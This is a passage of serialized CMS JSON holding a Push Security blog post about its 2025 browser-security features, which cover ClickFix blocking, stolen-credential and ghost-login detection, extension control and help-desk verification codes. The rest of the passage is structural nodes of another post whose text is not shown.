targeted.",{"data":80022,"content":80023,"nodeType":1317},{},[80024],{"data":80025,"marks":80026,"value":79801,"nodeType":865},{},[],{"data":80028,"content":80029,"nodeType":866},{},[80030],{"data":80031,"marks":80032,"value":80033,"nodeType":865},{},[],"Because of our position in the browser, Push is uniquely positioned to detect and block browser-native attacks like ClickFix and other forms of malicious copy and paste techniques. So that’s what we built.",{"data":80035,"content":80039,"nodeType":912},{"target":80036},{"sys":80037},{"id":80038,"type":909,"linkType":910},"56jVT7dbNqUGiSRTfTCQw2",[],{"data":80041,"content":80042,"nodeType":866},{},[80043,80047,80051],{"data":80044,"marks":80045,"value":80046,"nodeType":865},{},[],"With our ",{"data":80048,"marks":80049,"value":79875,"nodeType":865},{},[80050],{"type":926},{"data":80052,"marks":80053,"value":80054,"nodeType":865},{},[],", you can:",{"data":80056,"content":80057,"nodeType":1616},{},[80058,80068,80078,80088],{"data":80059,"content":80060,"nodeType":1570},{},[80061],{"data":80062,"content":80063,"nodeType":866},{},[80064],{"data":80065,"marks":80066,"value":80067,"nodeType":865},{},[],"Detect ClickFix-style attacks as soon as they target end-users, regardless of the delivery channel for the lure, or the specifics of the malware type and execution.",{"data":80069,"content":80070,"nodeType":1570},{},[80071],{"data":80072,"content":80073,"nodeType":866},{},[80074],{"data":80075,"marks":80076,"value":80077,"nodeType":865},{},[],"Block these attacks before the malicious code is copied to the clipboard.",{"data":80079,"content":80080,"nodeType":1570},{},[80081],{"data":80082,"content":80083,"nodeType":866},{},[80084],{"data":80085,"marks":80086,"value":80087,"nodeType":865},{},[],"Safely collect the payload for further investigation by your security team, and replace the clipboard contents with safe text as part of the blocking action.",{"data":80089,"content":80090,"nodeType":1570},{},[80091],{"data":80092,"content":80093,"nodeType":866},{},[80094],{"data":80095,"marks":80096,"value":80097,"nodeType":865},{},[],"Capture a detailed timeline of events to see how users were targeted and how the attack unfolded.",{"data":80099,"content":80103,"nodeType":912},{"target":80100},{"sys":80101},{"id":80102,"type":909,"linkType":910},"sALkMt8UbTZ2f34hKvGLj",[],{"data":80105,"content":80106,"nodeType":866},{},[80107,80111,80120],{"data":80108,"marks":80109,"value":80110,"nodeType":865},{},[],"Learn more about ClickFix detection in our ",{"data":80112,"content":80115,"nodeType":33606},{"target":80113},{"sys":80114},{"id":58007,"type":909,"linkType":910},[80116],{"data":80117,"marks":80118,"value":80119,"nodeType":865},{},[],"documentation",{"data":80121,"marks":80122,"value":1615,"nodeType":865},{},[],{"data":80124,"content":80125,"nodeType":972},{},[],{"data":80127,"content":80128,"nodeType":981},{},[80129],{"data":80130,"marks":80131,"value":80132,"nodeType":865},{},[],"Getting ahead of breaches tied to stolen credentials and ghost logins",{"data":80134,"content":80135,"nodeType":1317},{},[80136],{"data":80137,"marks":80138,"value":79610,"nodeType":865},{},[],{"data":80140,"content":80141,"nodeType":866},{},[80142,80146,80156],{"data":80143,"marks":80144,"value":80145,"nodeType":865},{},[],"Starting in November 2024 and continuing through July 2025, adversaries linked to the HELLCAT threat group compromised Jira tenants belonging to 10 organizations using ",{"data":80147,"content":80151,"nodeType":33606},{"target":80148},{"sys":80149},{"id":80150,"type":909,"linkType":910},"gANCbeL9AnxmbGAE5HhyG",[80152],{"data":80153,"marks":80154,"value":80155,"nodeType":865},{},[],"stolen credentials",{"data":80157,"marks":80158,"value":6719,"nodeType":865},{},[],{"data":80160,"content":80161,"nodeType":866},{},[80162],{"data":80163,"marks":80164,"value":80165,"nodeType":865},{},[],"Business-critical applications like Jira are prime targets for attackers, who in this case dumped valuable data and then held it for ransom (or sold it on criminal marketplaces). Of course, this isn’t just a problem for Jira — data from Push’s initial deployment into customer environments shows that lots of critical apps lack basic controls like strong passwords and MFA.",{"data":80167,"content":80168,"nodeType":866},{},[80169,80173,80181,80185,80191],{"data":80170,"marks":80171,"value":80172,"nodeType":865},{},[],"The evolving threat group known as ",{"data":80174,"content":80177,"nodeType":33606},{"target":80175},{"sys":80176},{"id":52948,"type":909,"linkType":910},[80178],{"data":80179,"marks":80180,"value":8673,"nodeType":865},{},[],{"data":80182,"marks":80183,"value":80184,"nodeType":865},{},[]," has also embraced the use of stolen creds, session cookies, and unprotected local account logins — aka ",{"data":80186,"content":80187,"nodeType":889},{"uri":53259},[80188],{"data":80189,"marks":80190,"value":6715,"nodeType":865},{},[],{"data":80192,"marks":80193,"value":80194,"nodeType":865},{},[]," — to compromise large organizations.",{"data":80196,"content":80197,"nodeType":866},{},[80198,80202,80210],{"data":80199,"marks":80200,"value":80201,"nodeType":865},{},[],"In 2025, Red Hat’s GitLab instance was compromised due to a local account that essentially provided a backdoor to an otherwise secure and SSO-connected account — an attack reminiscent of the ",{"data":80203,"content":80206,"nodeType":33606},{"target":80204},{"sys":80205},{"id":61617,"type":909,"linkType":910},[80207],{"data":80208,"marks":80209,"value":15506,"nodeType":865},{},[],{"data":80211,"marks":80212,"value":80213,"nodeType":865},{},[],", which targeted local logins that lacked MFA.",{"data":80215,"content":80216,"nodeType":1317},{},[80217],{"data":80218,"marks":80219,"value":79801,"nodeType":865},{},[],{"data":80221,"content":80222,"nodeType":866},{},[80223,80227,80237],{"data":80224,"marks":80225,"value":80226,"nodeType":865},{},[],"Push already provided the ability to detect stolen credentials being actively used by employees in your organization with our ",{"data":80228,"content":80232,"nodeType":33606},{"target":80229},{"sys":80230},{"id":80231,"type":909,"linkType":910},"6vCr4d3R1XA1E8dU883l7N",[80233],{"data":80234,"marks":80235,"value":80236,"nodeType":865},{},[],"Stolen credential detection control",{"data":80238,"marks":80239,"value":80240,"nodeType":865},{},[],". This provides an early-warning signal when Push finds a match between credentials for sale on criminal forums with those still being used by your employees, reducing some 99.5% of false positives we usually see with TI feed data.",{"data":80242,"content":80243,"nodeType":866},{},[80244],{"data":80245,"marks":80246,"value":80247,"nodeType":865},{},[],"With Push, you can also identify where employees are logging in with passwords on apps that otherwise should be using SAML, OIDC, or some other federated mechanism — aka the ghost login vulnerability.",{"data":80249,"content":80250,"nodeType":866},{},[80251],{"data":80252,"marks":80253,"value":80254,"nodeType":865},{},[],"This year, we made it easier for security teams to enforce two security fundamentals that help harden accounts and reduce the risk of ATO, even on unmanaged apps:",{"data":80256,"content":80257,"nodeType":1616},{},[80258,80287],{"data":80259,"content":80260,"nodeType":1570},{},[80261],{"data":80262,"content":80263,"nodeType":866},{},[80264,80269,80273,80283],{"data":80265,"marks":80266,"value":80268,"nodeType":865},{},[80267],{"type":926},"Strong password enforcement:",{"data":80270,"marks":80271,"value":80272,"nodeType":865},{},[]," With this control, you can prompt end-users to ",{"data":80274,"content":80278,"nodeType":33606},{"target":80275},{"sys":80276},{"id":80277,"type":909,"linkType":910},"5aB5x5VXrMv7PDmH0iiK0c",[80279],{"data":80280,"marks":80281,"value":80282,"nodeType":865},{},[],"fix an insecure password",{"data":80284,"marks":80285,"value":80286,"nodeType":865},{},[]," on all your workforce apps, even the ones you don’t centrally manage. ",{"data":80288,"content":80289,"nodeType":1570},{},[80290],{"data":80291,"content":80292,"nodeType":866},{},[80293,80298,80301,80311],{"data":80294,"marks":80295,"value":80297,"nodeType":865},{},[80296],{"type":926},"MFA enforcement:",{"data":80299,"marks":80300,"value":80272,"nodeType":865},{},[],{"data":80302,"content":80306,"nodeType":33606},{"target":80303},{"sys":80304},{"id":80305,"type":909,"linkType":910},"wikyVxlHwKUOKM9xo19eP",[80307],{"data":80308,"marks":80309,"value":80310,"nodeType":865},{},[],"register for MFA",{"data":80312,"marks":80313,"value":80314,"nodeType":865},{},[]," where Push detects it’s missing — again, even on unmanaged apps.",{"data":80316,"content":80317,"nodeType":866},{},[80318],{"data":80319,"marks":80320,"value":80321,"nodeType":865},{},[],"Both of these controls use in-browser banners to provide point-in-time guidance to users when they’re most likely to see it and act on it.",{"data":80323,"content":80327,"nodeType":912},{"target":80324},{"sys":80325},{"id":80326,"type":909,"linkType":910},"3XH0hnnhcZNI47PhdiD4q0",[],{"data":80329,"content":80330,"nodeType":866},{},[80331,80335,80339],{"data":80332,"marks":80333,"value":80334,"nodeType":865},{},[],"To address the pattern of adversaries moving from targeting hardened core apps such as identity providers to the likes of GitLab, Postman, Jira, and others containing valuable corporate data, we also expanded one of the Push platform’s core security controls called ",{"data":80336,"marks":80337,"value":58393,"nodeType":865},{},[80338],{"type":926},{"data":80340,"marks":80341,"value":1615,"nodeType":865},{},[],{"data":80343,"content":80344,"nodeType":866},{},[80345,80348,80352],{"data":80346,"marks":80347,"value":1449,"nodeType":865},{},[],{"data":80349,"marks":80350,"value":58393,"nodeType":865},{},[80351],{"type":926},{"data":80353,"marks":80354,"value":80355,"nodeType":865},{},[]," control previously could be applied only to IdP passwords, allowing you to essentially “pin” the credential for those systems so that it could never be entered on a phishing page or reused on any other app. ",{"data":80357,"content":80358,"nodeType":866},{},[80359,80363,80372],{"data":80360,"marks":80361,"value":80362,"nodeType":865},{},[],"We expanded that control to allow you to ",{"data":80364,"content":80367,"nodeType":33606},{"target":80365},{"sys":80366},{"id":58195,"type":909,"linkType":910},[80368],{"data":80369,"marks":80370,"value":80371,"nodeType":865},{},[],"protect passwords on any valuable app",{"data":80373,"marks":80374,"value":80375,"nodeType":865},{},[],", preventing account takeover through phished creds and reducing the blast radius of attacks when a compromised account has been reusing passwords on multiple applications.",{"data":80377,"content":80381,"nodeType":912},{"target":80378},{"sys":80379},{"id":80380,"type":909,"linkType":910},"74l82HIeaumFX4u9AMjj79",[],{"data":80383,"content":80384,"nodeType":866},{},[80385,80389,80399],{"data":80386,"marks":80387,"value":80388,"nodeType":865},{},[],"Push also now gives you visibility into where employees are ",{"data":80390,"content":80394,"nodeType":33606},{"target":80391},{"sys":80392},{"id":80393,"type":909,"linkType":910},"7uLeQ9twNl5RyNaWkkJNjd",[80395],{"data":80396,"marks":80397,"value":80398,"nodeType":865},{},[],"syncing their corporate browser profile",{"data":80400,"marks":80401,"value":80402,"nodeType":865},{},[]," to a personal profile, raising the risk of syncing corporate passwords to unmanaged devices — another vector for credential harvesting if those endpoints become compromised.",{"data":80404,"content":80405,"nodeType":866},{},[80406],{"data":80407,"marks":80408,"value":80409,"nodeType":865},{},[],"And of course, underlying all these features is the foundational visibility of all your apps, accounts, account vulnerabilities, and login methods that Push provides.",{"data":80411,"content":80412,"nodeType":972},{},[],{"data":80414,"content":80415,"nodeType":981},{},[80416],{"data":80417,"marks":80418,"value":80419,"nodeType":865},{},[],"Blocking malicious browser extensions",{"data":80421,"content":80422,"nodeType":1317},{},[80423],{"data":80424,"marks":80425,"value":79610,"nodeType":865},{},[],{"data":80427,"content":80428,"nodeType":866},{},[80429],{"data":80430,"marks":80431,"value":80432,"nodeType":865},{},[],"Getting visibility and control over all the browser extensions used across your workforce has long been a thorny problem for security teams. ",{"data":80434,"content":80435,"nodeType":866},{},[80436],{"data":80437,"marks":80438,"value":80439,"nodeType":865},{},[],"The possible solutions haven’t been great, either. Teams could either apply a blunt-force block for most or all extensions, or spend painstaking time trying to understand what was installed, why, and by whom, across all the browsers in the environment.",{"data":80441,"content":80442,"nodeType":866},{},[80443,80447,80456],{"data":80444,"marks":80445,"value":80446,"nodeType":865},{},[],"The urgency of solving this problem increased for many organizations this year after the December 2024 compromise of at least 35 Google Chrome extensions in a ",{"data":80448,"content":80451,"nodeType":33606},{"target":80449},{"sys":80450},{"id":56089,"type":909,"linkType":910},[80452],{"data":80453,"marks":80454,"value":80455,"nodeType":865},{},[],"campaign targeting browser extension developers",{"data":80457,"marks":80458,"value":80459,"nodeType":865},{},[],". Cyberhaven’s extension was one of these, and the campaign inherited their name.",{"data":80461,"content":80462,"nodeType":1317},{},[80463],{"data":80464,"marks":80465,"value":79801,"nodeType":865},{},[],{"data":80467,"content":80468,"nodeType":866},{},[80469,80473,80482],{"data":80470,"marks":80471,"value":80472,"nodeType":865},{},[],"With Push, you can now get visibility across ",{"data":80474,"content":80477,"nodeType":33606},{"target":80475},{"sys":80476},{"id":58279,"type":909,"linkType":910},[80478],{"data":80479,"marks":80480,"value":80481,"nodeType":865},{},[],"all the browser extensions",{"data":80483,"marks":80484,"value":80485,"nodeType":865},{},[]," installed on employee browsers in your environment, and block the ones you don’t want.",{"data":80487,"content":80491,"nodeType":912},{"target":80488},{"sys":80489},{"id":80490,"type":909,"linkType":910},"5J5jdmwugy7yU8GGwxe7iH",[],{"data":80493,"content":80494,"nodeType":866},{},[80495],{"data":80496,"marks":80497,"value":80498,"nodeType":865},{},[],"You can also:",{"data":80500,"content":80501,"nodeType":1616},{},[80502,80512,80522],{"data":80503,"content":80504,"nodeType":1570},{},[80505],{"data":80506,"content":80507,"nodeType":866},{},[80508],{"data":80509,"marks":80510,"value":80511,"nodeType":865},{},[],"Review extensions with risky permissions.",{"data":80513,"content":80514,"nodeType":1570},{},[80515],{"data":80516,"content":80517,"nodeType":866},{},[80518],{"data":80519,"marks":80520,"value":80521,"nodeType":865},{},[],"Identify extensions with potentially suspicious installation methods, such as sideloaded or manually installed.",{"data":80523,"content":80524,"nodeType":1570},{},[80525],{"data":80526,"content":80527,"nodeType":866},{},[80528],{"data":80529,"marks":80530,"value":80531,"nodeType":865},{},[],"Block extensions based on user groups and browser profiles (e.g. profiles logged in with a company domain).",{"data":80533,"content":80534,"nodeType":866},{},[80535,80539,80547],{"data":80536,"marks":80537,"value":80538,"nodeType":865},{},[],"Learn more about extension visibility and management in our ",{"data":80540,"content":80543,"nodeType":33606},{"target":80541},{"sys":80542},{"id":58279,"type":909,"linkType":910},[80544],{"data":80545,"marks":80546,"value":80119,"nodeType":865},{},[],{"data":80548,"marks":80549,"value":1615,"nodeType":865},{},[],{"data":80551,"content":80552,"nodeType":972},{},[],{"data":80554,"content":80555,"nodeType":981},{},[80556],{"data":80557,"marks":80558,"value":80559,"nodeType":865},{},[],"Adding a layer of protection against help desk scams",{"data":80561,"content":80562,"nodeType":1317},{},[80563],{"data":80564,"marks":80565,"value":79610,"nodeType":865},{},[],{"data":80567,"content":80568,"nodeType":866},{},[80569],{"data":80570,"marks":80571,"value":80572,"nodeType":865},{},[],"Finally, another big theme in this year’s TTPs was the use of help desk social engineering to compromise organizations. ",{"data":80574,"content":80575,"nodeType":866},{},[80576,80580,80589],{"data":80577,"marks":80578,"value":80579,"nodeType":865},{},[],"Attackers like ",{"data":80581,"content":80585,"nodeType":33606},{"target":80582},{"sys":80583},{"id":80584,"type":909,"linkType":910},"wgpdyHDn9NcpIJNr7jnFp",[80586],{"data":80587,"marks":80588,"value":4996,"nodeType":865},{},[],{"data":80590,"marks":80591,"value":80592,"nodeType":865},{},[]," — now known as part of the evolving cybercriminal group Scattered Lapsus$ Hunters — have targeted organizations including MGM Resorts and Marks & Spencer by convincing help desk staff to help them bypass MFA or reset credentials for accounts they then use to access corporate systems. ",{"data":80594,"content":80595,"nodeType":1317},{},[80596],{"data":80597,"marks":80598,"value":79801,"nodeType":865},{},[],{"data":80600,"content":80601,"nodeType":866},{},[80602,80606,80611],{"data":80603,"marks":80604,"value":80605,"nodeType":865},{},[],"To provide an additional layer of security when verifying employee identities during help desk interactions, Push introduced ",{"data":80607,"marks":80608,"value":80610,"nodeType":865},{},[80609],{"type":926},"Employee verification codes",{"data":80612,"marks":80613,"value":1615,"nodeType":865},{},[],{"data":80615,"content":80619,"nodeType":912},{"target":80616},{"sys":80617},{"id":80618,"type":909,"linkType":910},"19Baqh5QwbonzsR0EcaDS8",[],{"data":80621,"content":80622,"nodeType":866},{},[80623],{"data":80624,"marks":80625,"value":80626,"nodeType":865},{},[],"These are a rotating 6-digit verification code accessible via the Push Security extension dropdown. When an employee contacts your help desk, staff can use this code to help verify their identity before performing any sensitive account changes.",{"data":80628,"content":80629,"nodeType":866},{},[80630],{"data":80631,"marks":80632,"value":80633,"nodeType":865},{},[],"Employee verification codes are lightweight, rotate every 24 hours, and don’t require any additional apps or devices.",{"data":80635,"content":80636,"nodeType":866},{},[80637,80641,80650],{"data":80638,"marks":80639,"value":80640,"nodeType":865},{},[],"Learn more about verification codes in our ",{"data":80642,"content":80646,"nodeType":33606},{"target":80643},{"sys":80644},{"id":80645,"type":909,"linkType":910},"4rLP8wr6HnvBG2OzqYYKpF",[80647],{"data":80648,"marks":80649,"value":79949,"nodeType":865},{},[],{"data":80651,"marks":80652,"value":1615,"nodeType":865},{},[],{"data":80654,"content":80655,"nodeType":972},{},[],{"data":80657,"content":80658,"nodeType":981},{},[80659],{"data":80660,"marks":80661,"value":2270,"nodeType":865},{},[],{"data":80663,"content":80664,"nodeType":866},{},[80665],{"data":80666,"marks":80667,"value":80668,"nodeType":865},{},[],"Push Security’s browser-based security platform provides comprehensive detection and response capabilities against the leading cause of breaches. Push blocks browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, ClickFix, and session hijacking. ",{"data":80670,"content":80671,"nodeType":866},{},[80672],{"data":80673,"marks":80674,"value":80675,"nodeType":865},{},[],"You don’t need to wait until it all goes wrong — you can also use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, and more to harden your identity attack surface.",{"data":80677,"content":80678,"nodeType":866},{},[80679,80683,80689,80693,80699],{"data":80680,"marks":80681,"value":80682,"nodeType":865},{},[],"To learn more about Push, check out our latest ",{"data":80684,"content":80685,"nodeType":889},{"uri":58651},[80686],{"data":80687,"marks":80688,"value":58656,"nodeType":865},{},[],{"data":80690,"marks":80691,"value":80692,"nodeType":865},{},[]," or book some time with one of our team for a ",{"data":80694,"content":80695,"nodeType":889},{"uri":34504},[80696],{"data":80697,"marks":80698,"value":2298,"nodeType":865},{},[],{"data":80700,"marks":80701,"value":1615,"nodeType":865},{},[],"Taking the fight to attackers: Push’s top features of 2025","Here’s how real-world attacks and our own R&D informed what we built for Push customers over the last year.","2025-12-17T00:00:00.000Z","taking-the-fight-to-attackers-top-features-of-2025",{"items":80707},[80708,80710],{"sys":80709,"name":342},{"id":4642},{"sys":80711,"name":7796},{"id":7795},{"items":80713},[80714],{"fullName":6500,"firstName":6501,"jobTitle":4616,"profilePicture":80715},{"url":6503},{"__typename":1429,"sys":80717,"content":80718,"title":53891,"synopsis":53892,"hashTags":59,"publishedDate":53893,"slug":53894,"tagsCollection":81534,"authorsCollection":81540},{"id":52948},{"json":80719},{"data":80720,"content":80721,"nodeType":1382},{},[80722,80728,80734,80740,80743,80750,80756,80762,80767,80773,80778,80794,80800,80810,80813,80820,80826,80839,80845,80855,80860,80863,80870,80877,80882,80890,80906,80914,80920,80928,80943,80951,80957,80965,80991,80999,81005,81013,81029,81034,81042,81048,81056,81089,81092,81099,81107,81123,81131,81137,81145,81171,81176,81184,81190,81195,81198,81205,81213,81219,81270,81275,81278,81285,81293,81299,81304,81307,81314,81320,81326,81386,81392,81447,81453,81456,81463,81469,81475,81480,81483,81490,81496,81502,81508],{"data":80723,"content":80724,"nodeType":866},{},[80725],{"data":80726,"marks":80727,"value":52959,"nodeType":865},{},[],{"data":80729,"content":80730,"nodeType":866},{},[80731],{"data":80732,"marks":80733,"value":52966,"nodeType":865},{},[],{"data":80735,"content":80736,"nodeType":866},{},[80737],{"data":80738,"marks":80739,"value":52973,"nodeType":865},{},[],{"data":80741,"content":80742,"nodeType":972},{},[],{"data":80744,"content":80745,"nodeType":981},{},[80746],{"data":80747,"marks":80748,"value":52984,"nodeType":865},{},[80749],{"type":926},{"data":80751,"content":80752,"nodeType":866},{},[80753],{"data":80754,"marks":80755,"value":52991,"nodeType":865},{},[],{"data":80757,"content":80758,"nodeType":866},{},[80759],{"data":80760,"marks":80761,"value":52998,"nodeType":865},{},[],{"data":80763,"content":80766,"nodeType":912},{"target":80764},{"sys":80765},{"id":53003,"type":909,"linkType":910},[],{"data":80768,"content":80769,"nodeType":866},{},[80770],{"data":80771,"marks":80772,"value":53011,"nodeType":865},{},[],{"data":80774,"content":80777,"nodeType":912},{"target":80775},{"sys":80776},{"id":53016,"type":909,"linkType":910},[],{"data":80779,"content":80780,"nodeType":866},{},[80781,80784,80791],{"data":80782,"marks":80783,"value":53024,"nodeType":865},{},[],{"data":80785,"content":80786,"nodeType":889},{"uri":15501},[80787],{"data":80788,"marks":80789,"value":53032,"nodeType":865},{},[80790],{"type":943},{"data":80792,"marks":80793,"value":53036,"nodeType":865},{},[],{"data":80795,"content":80796,"nodeType":866},{},[80797],{"data":80798,"marks":80799,"value":53043,"nodeType":865},{},[],{"data":80801,"content":80802,"nodeType":866},{},[80803,80806],{"data":80804,"marks":80805,"value":53050,"nodeType":865},{},[],{"data":80807,"marks":80808,"value":53055,"nodeType":865},{},[80809],{"type":926},{"data":80811,"content":80812,"nodeType":972},{},[],{"data":80814,"content":80815,"nodeType":981},{},[80816],{"data":80817,"marks":80818,"value":53066,"nodeType":865},{},[80819],{"type":926},{"data":80821,"content":80822,"nodeType":866},{},[80823],{"data":80824,"marks":80825,"value":53073,"nodeType":865},{},[],{"data":80827,"content":80828,"nodeType":866},{},[80829,80832,80836],{"data":80830,"marks":80831,"value":53080,"nodeType":865},{},[],{"data":80833,"marks":80834,"value":53085,"nodeType":865},{},[80835],{"type":926},{"data":80837,"marks":80838,"value":53089,"nodeType":865},{},[],{"data":80840,"content":80841,"nodeType":866},{},[80842],{"data":80843,"marks":80844,"value":53096,"nodeType":865},{},[],{"data":80846,"content":80847,"nodeType":866},{},[80848,80851],{"data":80849,"marks":80850,"value":53103,"nodeType":865},{},[],{"data":80852,"marks":80853,"value":53108,"nodeType":865},{},[80854],{"type":926},{"data":80856,"content":80859,"nodeType":912},{"target":80857},{"sys":80858},{"id":53113,"type":909,"linkType":910},[],{"data":80861,"content":80862,"nodeType":972},{},[],{"data":80864,"content":80865,"nodeType":981},{},[80866],{"data":80867,"marks":80868,"value":53125,"nodeType":865},{},[80869],{"type":926},{"data":80871,"content":80872,"nodeType":1317},{},[80873],{"data":80874,"marks":80875,"value":53133,"nodeType":865},{},[80876],{"type":926},{"data":80878,"content":80881,"nodeType":912},{"target":80879},{"sys":80880},{"id":53138,"type":909,"linkType":910},[],{"data":80883,"content":80884,"nodeType":866},{},[80885],{"data":80886,"marks":80887,"value":53148,"nodeType":865},{},[80888,80889],{"type":926},{"type":943},{"data":80891,"content":80892,"nodeType":866},{},[80893,80896,80903],{"data":80894,"marks":80895,"value":53155,"nodeType":865},{},[],{"data":80897,"content":80898,"nodeType":889},{"uri":53158},[80899],{"data":80900,"marks":80901,"value":53164,"nodeType":865},{},[80902],{"type":943},{"data":80904,"marks":80905,"value":53168,"nodeType":865},{},[],{"data":80907,"content":80908,"nodeType":866},{},[80909],{"data":80910,"marks":80911,"value":53177,"nodeType":865},{},[80912,80913],{"type":926},{"type":943},{"data":80915,"content":80916,"nodeType":866},{},[80917],{"data":80918,"marks":80919,"value":53184,"nodeType":865},{},[],{"data":80921,"content":80922,"nodeType":866},{},[80923],{"data":80924,"marks":80925,"value":53193,"nodeType":865},{},[80926,80927],{"type":926},{"type":943},{"data":80929,"content":80930,"nodeType":866},{},[80931,80934,80940],{"data":80932,"marks":80933,"value":53200,"nodeType":865},{},[],{"data":80935,"content":80936,"nodeType":889},{"uri":53203},[80937],{"data":80938,"marks":80939,"value":53208,"nodeType":865},{},[],{"data":80941,"marks":80942,"value":53212,"nodeType":865},{},[],{"data":80944,"content":80945,"nodeType":866},{},[80946],{"data":80947,"marks":80948,"value":53221,"nodeType":865},{},[80949,80950],{"type":926},{"type":943},{"data":80952,"content":80953,"nodeType":866},{},[80954],{"data":80955,"marks":80956,"value":53228,"nodeType":865},{},[],{"data":80958,"content":80959,"nodeType":866},{},[80960],{"data":80961,"marks":80962,"value":53237,"nodeType":865},{},[80963,80964],{"type":926},{"type":943},{"data":80966,"content":80967,"nodeType":866},{},[80968,80971,80978,80981,80988],{"data":80969,"marks":80970,"value":53244,"nodeType":865},{},[],{"data":80972,"content":80973,"nodeType":889},{"uri":3488},[80974],{"data":80975,"marks":80976,"value":53252,"nodeType":865},{},[80977],{"type":943},{"data":80979,"marks":80980,"value":53256,"nodeType":865},{},[],{"data":80982,"content":80983,"nodeType":889},{"uri":53259},[80984],{"data":80985,"marks":80986,"value":6715,"nodeType":865},{},[80987],{"type":943},{"data":80989,"marks":80990,"value":53268,"nodeType":865},{},[],{"data":80992,"content":80993,"nodeType":866},{},[80994],{"data":80995,"marks":80996,"value":53277,"nodeType":865},{},[80997,80998],{"type":926},{"type":943},{"data":81000,"content":81001,"nodeType":866},{},[81002],{"data":81003,"marks":81004,"value":53284,"nodeType":865},{},[],{"data":81006,"content":81007,"nodeType":866},{},[81008],{"data":81009,"marks":81010,"value":53293,"nodeType":865},{},[81011,81012],{"type":926},{"type":943},{"data":81014,"content":81015,"nodeType":866},{},[81016,81019,81026],{"data":81017,"marks":81018,"value":53300,"nodeType":865},{},[],{"data":81020,"content":81021,"nodeType":889},{"uri":53259},[81022],{"data":81023,"marks":81024,"value":6715,"nodeType":865},{},[81025],{"type":943},{"data":81027,"marks":81028,"value":53311,"nodeType":865},{},[],{"data":81030,"content":81033,"nodeType":912},{"target":81031},{"sys":81032},{"id":53316,"type":909,"linkType":910},[],{"data":81035,"content":81036,"nodeType":866},{},[81037],{"data":81038,"marks":81039,"value":53326,"nodeType":865},{},[81040,81041],{"type":926},{"type":943},{"data":81043,"content":81044,"nodeType":866},{},[81045],{"data":81046,"marks":81047,"value":53333,"nodeType":865},{},[],{"data":81049,"content":81050,"nodeType":866},{},[81051],{"data":81052,"marks":81053,"value":53342,"nodeType":865},{},[81054,81055],{"type":926},{"type":943},{"data":81057,"content":81058,"nodeType":866},{},[81059,81062,81068,81071,81077,81080,81086],{"data":81060,"marks":81061,"value":53349,"nodeType":865},{},[],{"data":81063,"content":81064,"nodeType":889},{"uri":53352},[81065],{"data":81066,"marks":81067,"value":53357,"nodeType":865},{},[],{"data":81069,"marks":81070,"value":4988,"nodeType":865},{},[],{"data":81072,"content":81073,"nodeType":889},{"uri":53363},[81074],{"data":81075,"marks":81076,"value":53368,"nodeType":865},{},[],{"data":81078,"marks":81079,"value":53372,"nodeType":865},{},[],{"data":81081,"content":81082,"nodeType":889},{"uri":13013},[81083],{"data":81084,"marks":81085,"value":53379,"nodeType":865},{},[],{"data":81087,"marks":81088,"value":53383,"nodeType":865},{},[],{"data":81090,"content":81091,"nodeType":972},{},[],{"data":81093,"content":81094,"nodeType":1317},{},[81095],{"data":81096,"marks":81097,"value":53394,"nodeType":865},{},[81098],{"type":926},{"data":81100,"content":81101,"nodeType":866},{},[81102],{"data":81103,"marks":81104,"value":53403,"nodeType":865},{},[81105,81106],{"type":926},{"type":943},{"data":81108,"content":81109,"nodeType":866},{},[81110,81113,81120],{"data":81111,"marks":81112,"value":53410,"nodeType":865},{},[],{"data":81114,"content":81115,"nodeType":889},{"uri":53413},[81116],{"data":81117,"marks":81118,"value":53419,"nodeType":865},{},[81119],{"type":943},{"data":81121,"marks":81122,"value":53423,"nodeType":865},{},[],{"data":81124,"content":81125,"nodeType":866},{},[81126],{"data":81127,"marks":81128,"value":53432,"nodeType":865},{},[81129,81130],{"type":926},{"type":943},{"data":81132,"content":81133,"nodeType":866},{},[81134],{"data":81135,"marks":81136,"value":53439,"nodeType":865},{},[],{"data":81138,"content":81139,"nodeType":866},{},[81140],{"data":81141,"marks":81142,"value":53448,"nodeType":865},{},[81143,81144],{"type":926},{"type":943},{"data":81146,"content":81147,"nodeType":866},{},[81148,81151,81158,81161,81168],{"data":81149,"marks":81150,"value":53455,"nodeType":865},{},[],{"data":81152,"content":81153,"nodeType":889},{"uri":53458},[81154],{"data":81155,"marks":81156,"value":53464,"nodeType":865},{},[81157],{"type":943},{"data":81159,"marks":81160,"value":53468,"nodeType":865},{},[],{"data":81162,"content":81163,"nodeType":889},{"uri":53471},[81164],{"data":81165,"marks":81166,"value":53477,"nodeType":865},{},[81167],{"type":943},{"data":81169,"marks":81170,"value":53481,"nodeType":865},{},[],{"data":81172,"content":81175,"nodeType":912},{"target":81173},{"sys":81174},{"id":53486,"type":909,"linkType":910},[],{"data":81177,"content":81178,"nodeType":866},{},[81179],{"data":81180,"marks":81181,"value":53496,"nodeType":865},{},[81182,81183],{"type":926},{"type":943},{"data":81185,"content":81186,"nodeType":866},{},[81187],{"data":81188,"marks":81189,"value":53503,"nodeType":865},{},[],{"data":81191,"content":81194,"nodeType":912},{"target":81192},{"sys":81193},{"id":53508,"type":909,"linkType":910},[],{"data":81196,"content":81197,"nodeType":972},{},[],{"data":81199,"content":81200,"nodeType":1317},{},[81201],{"data":81202,"marks":81203,"value":694,"nodeType":865},{},[81204],{"type":926},{"data":81206,"content":81207,"nodeType":866},{},[81208],{"data":81209,"marks":81210,"value":53528,"nodeType":865},{},[81211,81212],{"type":926},{"type":943},{"data":81214,"content":81215,"nodeType":866},{},[81216],{"data":81217,"marks":81218,"value":53535,"nodeType":865},{},[],{"data":81220,"content":81221,"nodeType":1616},{},[81222,81235,81248],{"data":81223,"content":81224,"nodeType":1570},{},[81225],{"data":81226,"content":81227,"nodeType":866},{},[81228,81232],{"data":81229,"marks":81230,"value":53549,"nodeType":865},{},[81231],{"type":926},{"data":81233,"marks":81234,"value":53553,"nodeType":865},{},[],{"data":81236,"content":81237,"nodeType":1570},{},[81238],{"data":81239,"content":81240,"nodeType":866},{},[81241,81245],{"data":81242,"marks":81243,"value":53564,"nodeType":865},{},[81244],{"type":926},{"data":81246,"marks":81247,"value":53568,"nodeType":865},{},[],{"data":81249,"content":81250,"nodeType":1570},{},[81251],{"data":81252,"content":81253,"nodeType":866},{},[81254,81258,81261,81267],{"data":81255,"marks":81256,"value":53579,"nodeType":865},{},[81257],{"type":926},{"data":81259,"marks":81260,"value":53583,"nodeType":865},{},[],{"data":81262,"content":81263,"nodeType":889},{"uri":40710},[81264],{"data":81265,"marks":81266,